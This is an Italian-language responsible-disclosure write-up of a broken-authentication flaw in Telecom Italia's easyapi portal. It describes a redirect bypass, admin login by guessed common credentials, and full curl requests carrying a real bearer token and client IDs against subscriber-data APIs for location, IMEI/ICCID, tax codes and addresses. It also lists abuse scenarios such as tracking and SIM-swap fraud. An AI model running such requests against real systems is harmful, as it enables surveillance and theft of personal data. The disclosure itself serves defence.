<-- torna indietro

Telecom Italia: analisi di una vulnerabilità che avrebbe consentito l'accesso non autorizzato al portale https://easyapi.telecomitalia.it


Indice


Introduzione

Il Gruppo TIM (precedentemente conosciuto come Telecom Italia S.p.A.) è un’azienda italiana di telecomunicazioni che offre, in Italia e all’estero, servizi di telefonia fissa, mobile, pubblica, telefonia IP, Internet e televisione via cavo (in tecnologia IPTV).

Nel 2018 ha introdotto una responsible disclosure, dove i ricercatori di sicurezza vengono invitati a segnalare vulnerabilità nei sistemi mobile, hardware e web dell’azienda: https://www.gruppotim.it/it/footer/responsible-disclosure.html

Il security team di Telecom Italia è stato molto cordiale e veloce sia nel rispondere alle email sia nel porre rimedio alle vulnerabilità segnalate.

È stata individuata una vulnerabilità di tipo “Broken Authentication” nel sottodominio https://easyapi.telecomitalia.it/. Questo sottodominio è molto importante in quanto consente, a chi è autorizzato, di interfacciarsi con alcune delle Web API offerte da Telecom Italia. Grazie alla vulnerabilità trovata è stato possibile bypassare il pannello di amministrazione e accedere alle Web API.

Sono stati individuati anche altri sottodomini che hanno la stessa interfaccia e layout e che erano potenzialmente vulnerabili allo stesso attacco. Tuttavia non è stato possibile interfacciarsi con le Web API in quanto si trattava di vecchie istanze disattivate che rifiutavano ogni tipo di connessione.

Cos’è una Web API?

Una API (application programming interface, in italiano: interfaccia di programmazione delle applicazioni) è un insieme di interfacce che vengono esposte da un sistema informatico per permettere e facilitare lo scambio di dati e di informazioni con un altro sistema informatico.

Una Web API, nel caso di Telecom Italia una Web API server-side, è un’API che permette lo scambio di dati e di informazioni fra due sistemi informatici mediante l’utilizzo del protocollo HTTP. Il funzionamento si basa su un sistema di scambio di messaggi (richiesta-risposta), dove il primo sistema (che chiameremo client) invia una richiesta per ottenere dei dati dal secondo sistema (che chiameremo server) che risponde alla richiesta inviando i dati. Solitamente i dati reperibili dal server vengono divisi in categorie e per ogni categoria viene creato un endpoint, al quale il client può interfacciarsi per recuperare una parte dei dati offerti. La divisione dei dati è molto importante in quanto consente al client di chiedere e ricevere solo ed esclusivamente i dati necessari. Inoltre, nella maggior parte dei casi, è richiesta una chiave di autenticazione che permette al client di interfacciarsi con gli endpoint del server.

Esempio Web API

Per spiegare meglio quello detto in precedenza possiamo fare un esempio: consideriamo l’azienda X (server) che è impiegata nel settore della costruzione di apparecchi elettronici e numerose aziende (ognuna di queste rappresenta un client) operanti nel settore dell’e-commerce che sono interessate alla rivendita dei prodotti dell’azienda X. Come le aziende client riescono a includere all’interno del loro sito web informazioni relative a questi prodotti? L’azienda X mette a disposizione una Web API che consente, a chi è autorizzato, di ottenere informazioni relative a tutti i suoi prodotti. I client ottengono dall’azienda X una chiave per accedere agli endpoint del server e la documentazione della Web API, la quale spiega il funzionamento e i parametri/valori che quest’ultima accetta.

Leggendo la documentazione possiamo individuare:

  • l’indirizzo del server -> server-api.aziendax.com
  • l’indirizzo della Web API -> /prodotti/
  • l’indirizzo dei diversi endpoint, ad esempio:
    • /lista-prodotti -> che mostra la lista dei prodotti e il loro identificatore
    • /descrizione/{identificatore} -> che mostra la descrizione di un prodotto
    • /prezzo/{identificatore}?val={tipo di valuta} -> che mostra il prezzo del prodotto, viene accettato anche il parametro val a cui possiamo passare una valuta per effettuare il cambio
    • /immagine/{identificatore}?altezza={altezza della foto}&larghezza={larghezza della foto} -> che mostra l’immagine del prodotto, vengono accettati anche i parametri altezza e larghezza utilizzati per ridimensionare l’immagine

N.B.: i valori racchiusi fra {} devono essere sostituiti con l’opportuno valore specificato all’interno della documentazione.

Funzionamento del sito

Visitando il sottodominio https://easyapi.telecomitalia.it/ verrà mostrata la pagina principale del sito web:

Se si clicca sui numeri in basso a sinistra per scorrere la lista delle Web API oppure su uno dei riquadri per accedere ai dettagli di una specifica Web API, il server farà visitare la pagina scelta la quale, individuando un utente non autenticato, effettuerà un reindirizzamento a un’altra pagina (che chiameremo intermedia) la quale, a sua volta, effettuerà un altro reindirizzamento alla pagina principale. Di seguito viene riportato lo screenshot della pagina intermedia:

Analizzando il codice sorgente della risposta che il server invia prima di effettuare il reindirizzamento alla pagina intermedia notiamo che il server invia per intero la pagina da visualizzare (cioè la lista delle API oppure i dettagli di una specifica API); tuttavia, dato che non si è autenticati, aggiungerà automaticamente, all’inizio della risposta, un reindirizzamento alla pagina intermedia. Il primo screenshot, riportato di seguito, mostra il codice che viene aggiunto automaticamente all’inizio della risposta e il secondo mostra la risposta del server così come apparirebbe a un utente loggato (dove non avviene il reindirizzamento):

È stato così bypassato questo primo controllo ed è quindi possibile navigare all’interno del sito web seppure con molta difficoltà in quanto siamo limitati alla lettura del codice sorgente. Per superare questo limite, dato che i rendirizzamenti vengono effetuati client-side, occorre riscrivere la risposta inviata dal server e cancellare la parte relativa al reindirizzamento; è, quindi, possibile agire in due modi diversi:

  • utilizzare un’estensione che blocca i rendirizzamenti, come ad esempio NoRedirect;
  • utilizzare un server proxy locale per modificare le richieste on-the-fly mediante una espressione regolare.

É stata scelta la seconda opzione e utilizzata la seguente espressione regolare <div>\r\n(.*?)<\!DOCTYPE per eliminare la parte della risposta del server responsabile del reindirizzamento.

Individuazione delle Web API sensibili

All’interno del sito web sono state individuate le Web API più sensibili, cioè quelle che espongono informazioni relative agli utenti di Telecom Italia (da notare che i parametri mancanti, che dovranno essere riempiti per consentire al server di accettare la richiesta, sono racchiusi fra parentesi quadre). Queste sono:

  • CustomerProfile, raggiungibile al seguente indirizzo:

    https://easyapi.telecomitalia.it/store/apis/info?name=CustomerProfile&version=v1&provider=EsercizioServiceExposure%40telecomitalia.it&tenant=carbon.super

    Leggendo la documentazione, è possibile estrarre diverse informazioni partendo dall’MSISDN di una linea fissa o mobile:

    • data di creazione
    • sesso
    • anno di nascita del cliente
    • provincia dell’utente
    • IMSI
    • IMEI
    • TAC (Type Allocation Code)
    • ICCID
    • marca del cellulare
    • modello del cellulare
    • sistema operativo del cellulare
    • supporto del Touch Screen
    • supporto di GPRS, UMTS, MMS, SMS, EMS, Bluetooth, WI-FI, DVB-H, HSDPA, PC CARD, EDGE
    • supporto della radio
    • supporto di UMA (Unlicensed Mobile Access)
    • suppoto di JAVA
    • supporto del GPS, AGPS
    • supporto di LTE, FOTA, OTA
    • supporto degli infrarossi
    • presenza di una fotocamera
    • se il dispositivo è in grado o meno di ricevere email

    tramite la seguente chiamata:

    curl -k -X GET "https://[IndirizzoServer]/customerprofile/v1/tel:+39[Numero di cellulare/fisso]/attributes" -H "accept: application/xml" -A "Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" -H"Authorization: Bearer [Codice di autenticazione]"

  • AccountDetails, raggiungibile al seguente indirizzo:

    https://easyapi.telecomitalia.it/store/apis/info?name=AccountDetails&version=v1&provider=EsercizioServiceExposure%40telecomitalia.it&tenant=carbon.super

    Leggendo la documentazione, è possibile estrarre diverse informazioni relative a un account MyTIM partendo dall’MSISDN oppure dall’email collegata:

    • username
    • email collegata
    • MSISDN
    • presenza del parental control, se presente viene fornito anche il relativo PIN
    • numero della linea fissa e relativi numeri di cellulare collegati
    • token di accesso a TIM Games
    • codice fiscale del proprietario
    • presenza della fibra
    • accettazione o meno delle diverse clausole relative alla privacy e al trattamento dei dati

    tramite le seguenti chiamate:

    curl -k -X GET "https://[IndirizzoServer]/accountdetails/v1/accountDetailsSQC?username=tel:+39[Numero di cellulare/fisso]/" -H "accept: application/xml" -H "Authorization: Bearer[Codice di autenticazione]" " -H "X-Business-ID: [Codice Business ID]" -H"X-Client-ID: [Codice Client ID]"

    curl -k -X GET "https://[IndirizzoServer]/accountdetails/v1/accountDetailsSQC?username=[Indirizzo Email dell'account]/" -H "accept: application/xml" -H "Authorization: Bearer[Codice di autenticazione]" " -H "X-Business-ID: [Codice Business ID]" -H"X-Client-ID: [Codice Client ID]"

  • Number2InfoUser, raggiungibile al seguente indirizzo:

    https://easyapi.telecomitalia.it/store/apis/info?name=Number2InfoUser&version=v1&provider=EsercizioServiceExposure%40telecomitalia.it&tenant=carbon.super

    Leggendo la documentazione, è possibile estrarre diverse informazioni relative al numero fisso o mobile partendo dall’MSISDN:

    • codice fiscale o partita IVA associata
    • se l’MSISDN fornito in input è un numero fisso o mobile
    • ruolo della persona associata al MSISND: Intestatario, Utilizzatore, Pagatore, Cliente, Rappresentante legale, Delegato, Sottoscrittore RID e così via
    • nazione
    • provincia
    • città
    • CAP
    • via, largo, incrocio con numero civico, piano, scala, interno e complesso
    • tipo di pagamento (RID, CDC, Fattura)
    • il nome e la data di attivazione di tutte le offerte attive e, eventualmente, la data di disattivazione degli stessi

    tramite la seguente chiamata:

    curl -k -X GET "https://[IndirizzoServer]/number2infouser/v1/consistenze/tel:+39[Numero di cellulare/fisso]" -H "accept: application/xml" -H "Authorization: Bearer [Codice di autenticazione]" -H "X-Business-ID: [Codice Business ID]" -H "X-Client-ID:[Codice Client ID]" -H "sourceSystem: EASYAPI" -H "channel: [Nome canale]" -H "interactionDate-Date: [Data di interazione]" -H "businessID: [CodiceBusiness ID]" -H "transactionID: [Codice transazione]" -H "sessionID:[Codice Session ID]" -H "interactionDate-Time: [Ora, minuti, secondi e millisecondi della transazione]"

Bypass del pannello di amministrazione

Le chiamate da effettuare alle diverse Web API hanno bisogno di determinati parametri. Viene di seguito riportata la lista di tutti i parametri necessari per poter inviare al server richieste corrette. Tutti, eccetto i primi 2, sono stati trovati leggendo le documentazioni di tutte le Web API:

  • indirizzo del server che riceverà le richieste per accedere alle Web API;
  • Authorization: questo parametro accetta la chiave di autenticazione, se questa sarà valida allora il server farà passare la richiesta del client altrimenti verrà bloccata;
  • X-Business-ID: leggendo la documentazione della Web API AccountDetails è stato possibile estrarre un codice valido: 1c46989a-a08f-46f4-8d8f-c7f465ee45ec; questo è stato generato in precedenza e non è stato invalidato. Infatti se si tenta di cambiare una lettera o un numero ci verrà restituito un errore;
  • X-Client-ID: nella documentazione della Web API AccountDetails viene riportato che questo codice deve “rispettare” la seguente espressione regolare: ^[0-9a-zA-Z]{1,50}$. Nella documentazione viene specificato come codice X-Client-ID la stringa AlphaClient che viene rifiutata nonostante “rispetti” l’espressione regolare indicata sopra (forse a causa di una blacklist?). Utilizzando la stringa D8zMABotDvdoDaESbbeiIho6Qk4ui1HNVYdwJ94V0WumJAIIVx, generata casualmente, il server accetta la richiesta;
  • sourceSystem: leggendo la documentazione di più Web API la stringa EASYAPI è accettata;
  • channel: leggendo la documentazione di più Web API sia la stringa WEB sia la stringa APP vengono accettate; tuttavia vengono accettate anche stringhe casuali; è stata utilizzata la stringa test;
  • interactionDate-Date: leggendo la documentazione di più Web API l’unico requisito è che la data venga espressa nel formato YYYY-MM-DD; la stringa 2020-01-22 è accettata;
  • businessID: la documentazione non fornisce nessun valore di esempio ma il server accetta qualunque valore; la stringa 0 è accettata;
  • transactionID: la documentazione non fornisce nessun valore di esempio ma il server accetta qualunque valore; la stringa 0 è accettata;
  • sessionID: la documentazione non fornisce nessun valore di esempio ma il server accetta qualunque valore; la stringa test è accettata;
  • interactionDate-Time: dalla documentazione l’unico requisito è che il tempo venga espresso nel formato hh:mm:ss.SSS; la stringa 22:12:33.123 è accettata;

Per individuare i primi due parametri è necessario accedere al pannello di amministrazione che è protetto da password. Per effettuare il login su questo pannello è necessario visitare la pagina principale e, in alto a destra, cliccare su “Sign In”. Di seguito viene riportato lo screenshot del pannello di amministrazione:

Per ottenere l’username e la password, non sono stati utilizzati attacchi a dizionario o forza bruta; invece, sono state inserite manualmente le combinazioni più comuni.

Di seguito vengono riportati gli screenshot del pannello di amministrazione:

Nell’ultimo screenshot si nota una sezione dedicata alla generazione del parametro Authorization; tuttavia si tratta di un parametro legato all’ambiente “Sandbox” e, come tale, questo dovrebbe funzionare e restituire solamente dei dati di test e non dati reali. Non è così in quanto, come vedremo dopo, l’ambiente “Sandbox” non è altro che una copia dell’ambiente “Production”, ovvero l’ambiente destinato all’utilizzo da parte di Telecom Italia. Sempre nell’ultimo screenshot, a metà pagina, vengono forniti due comandi cURL che ci consentono di generare un codice Authorization (anche se ci viene già fornito). Se si tenta di eseguire questi due comandi il server, anche se è online, non risponde alle nostre richieste (molto probabilmente è raggiungibile solamente tramite la rete interna di Telecom Italia):

Se si torna al paragrafo “Individuazione delle Web API sensibili”, è possibile osservare che, nei diversi screenshot, al centro della pagina, è indicato un altro server di “Sandbox” raggiungibile al seguente link: https://easyapisand.telecomitalia.it:8428. In questo caso, modificando i due comandi precedenti e adattandoli al nuovo server, cURL non è in grado di individuare il server, perché probabilmente o è stato eliminato o è scaduto:

A questo punto:

  • o si tratta di un pannello vecchio e dimenticato, quindi non è più possibile interagire con le Web API;
  • o è possibile interagire con le API solamente all’interno della rete Telecom Italia;
  • o è possibile che l’indirizzo del server sia stato cambiato oppure è cambiata la porta.

In quest’ultimo caso ho provato diverse combinazioni di indirizzi:

  • utilizzando l’indirizzo del server https://easyapi.telecomitalia.it con la porta dell’ambiente “Sandbox”, cioè 8248 e non 9448, i risultati iniziali sembravano essere positivi in quanto in output veniva restituita la stessa chiave presente nel pannello di amministrazione. In seguito però, cercando di interagire con una Web API, il server ha rifiutato la richiesta e ha fornito una risposta mediante la quale ha avvisato dell’utilizzo di chiavi di “Sandbox” all’interno di un ambiente “Production”:

  • nella documentazione di alcune Web API è stato individuato un altro server di “Sandbox”: https://easyapilab.telecomitalia.it:8248. Questo si è riveleto il server giusto in quanto ha accettato sia le credenziali sia le chiamate alle Web API:

Possiamo quindi concludere che:

  • I vecchi server, non più funzionanti, in grado di accettare sia le credenziali sia le richieste alle Web API sono:
    • https://easyapi.telecomitalia.it:9448 per le richieste relative all’ambiente “Production”;
    • https://easyapisand.telecomitalia.it:8248 per le richieste relative all’ambiente “Sandbox”;
  • I nuovi server in grado di accettare sia le credenziali sia le richieste alle API sono:
    • https://easyapi.telecomitalia.it:8248 per le richieste relative all’ambiente “Production”;
    • https://easyapilab.telecomitalia.it:8248 per le richieste relative all’ambiente “Sandbox”.

Accesso alle Web API

Prima di utilizzare una Web API è necessario “sottoscriversi” ed essere accettati dal gestore della stessa. L’account presente sul pannello di amministrazione https://easyapi.telecomitalia.it ha un “accesso illimitato” che consente la sottoscrizione a qualsiasi Web API senza dover aspettare di essere accettati. Per sottoscriversi basta effettuare il login, visitare il link di una Web API, ad esempio una di quelle presenti nel paragrafo “Individuazione delle Web API sensibili” e cliccare sul bottone “Subscribe”:

Di seguito vengono riportate le richieste fatte alle diverse Web API con relativo comando e risposta da parte del server:

  • TerminalLocation

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/location/v1/tel:+39[Numero di cellulare]/queries/location" -H "accept: application/xml" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50"

  • IP2NUMBER

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/ip2number/v1/queries/ip2number?ip=[Indirizzo IP]&port=8090" -H "accept: application/xml" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50"

  • IP2MSISDN

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/ip2msisdn/v1/queries/ip2msisdn?ip=[Indirizzo IP]&port=8090" -H "accept: application/json" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50"

  • IP2CLI

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/ip2cli/v1/queries/ip2cli?ip=[Indirizzo IP]&port=8090" -H "accept: application/xml" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50

  • CustomerProfile

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/customerprofile/v1/tel:+39[Numero di cellulare/fisso]/attributes" -H "accept: application/xml" -A "Mozilla/5.0(Windows NT 6.1; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50"

  • AccountDetails, utilizzando l’indirizzo email:

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/accountdetails/v1/accountDetailsSQC?username=[Indirizzo Email]" -H "accept: application/xml" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50" -H "X-Business-ID: 1c46989a-a08f-46f4-8d8f-c7f465ee45ec" -H "X-Client-ID:D8zMABotDvdoDaESbbeiIho6Qk4ui1HNVYdwJ94V0WumJAIIVx"

    oppure utilizzando un numero di cellulare/fisso (comando mostrato nello screenshot):

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/accountdetails/v1/accountDetailsSQC?username=tel:+39[Numero di cellulare/fisso]" -H "accept: application/xml" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50" -H "X-Business-ID: 1c46989a-a08f-46f4-8d8f-c7f465ee45ec" -H "X-Client-ID:D8zMABotDvdoDaESbbeiIho6Qk4ui1HNVYdwJ94V0WumJAIIVx"

  • Number2InfoUser

    curl -k -X GET "https://easyapilab.telecomitalia.it:8248/number2infouser/v1/consistenze/tel:+39[Numero di cellulare/fisso]" -H "accept: application/xml" -H "Authorization: Bearer ae2d5bbc-2e5b-355b-bbc2-35e457a9da50" -H "X-Business-ID: 1c46989a-a08f-46f4-8d8f-c7f465ee45ec" -H "X-Client-ID:D8zMABotDvdoDaESbbeiIho6Qk4ui1HNVYdwJ94V0WumJAIIVx" -H "sourceSystem:EASYAPI" -H "channel: test" -H "interactionDate-Date: 2020-01-22" -H "businessID: 0" -H "transactionID: 0" -H "sessionID: test" -H "interactionDate-Time: 22:12:33.123"

Altri pannelli di amministrazione

Sono stati individuati altri pannelli di amministrazione che hanno una interfaccia identica a https://easyapi.telecomitalia.it i quali contengono altre Web API, diverse da quelle di cui ho appena parlato. Occorre seguire lo stesso iter:

  • login all’interno del pannello di amministrazione;
  • generazione di un parametro Authentication per poter inviare le richieste alle Web API;
  • individuazione di un server che accetti il parametro Authentication;
  • sottoscrizione alle singole Web API.

Tuttavia, in questi pannelli di amministrazione, si sono presentati svariati problemi che hanno reso impossibile l’utilizzo delle Web API, ovvero:

  • i sottodomini https://mp.tim.it e https://easyapilab.telecomitalia.it mostrano un errore quando si tenta di accedere al pannello di amministrazione:

  • nei sottodomini https://easyapitest.tim.it e https://easyapicoll.telecomitalia.it la sottoscrizione a una API deve essere accettata dall’amministratore di sistema:

  • nel sottodominio https://easyapicoll.tim.it si è in grado di generare un parametro Authentication per l’ambiente “Production”; tuttavia, dopo aver sottoscritto una Web API per testare il suo funzionamento, viene restituito l’errore “Bad Gateway”:

Considerazioni finali

Un attaccante avrebbe potuto abusare di questa vulnerabilità per:

  • tracciare una persona partendo dal suo indirizzo email oppure dal suo numero di cellulare o di rete fissa;
  • estrarre numeri di cellulare partendo da indirizzi IP;
  • estrarre e rivendere le informazioni personali degli utenti di Telecom Italia oppure effettuare attacchi di social engineering contro gli operatori dell’azienda, ad esempio: utilizzare l’ICCID estratto per far cambiare operatore a un numero TIM.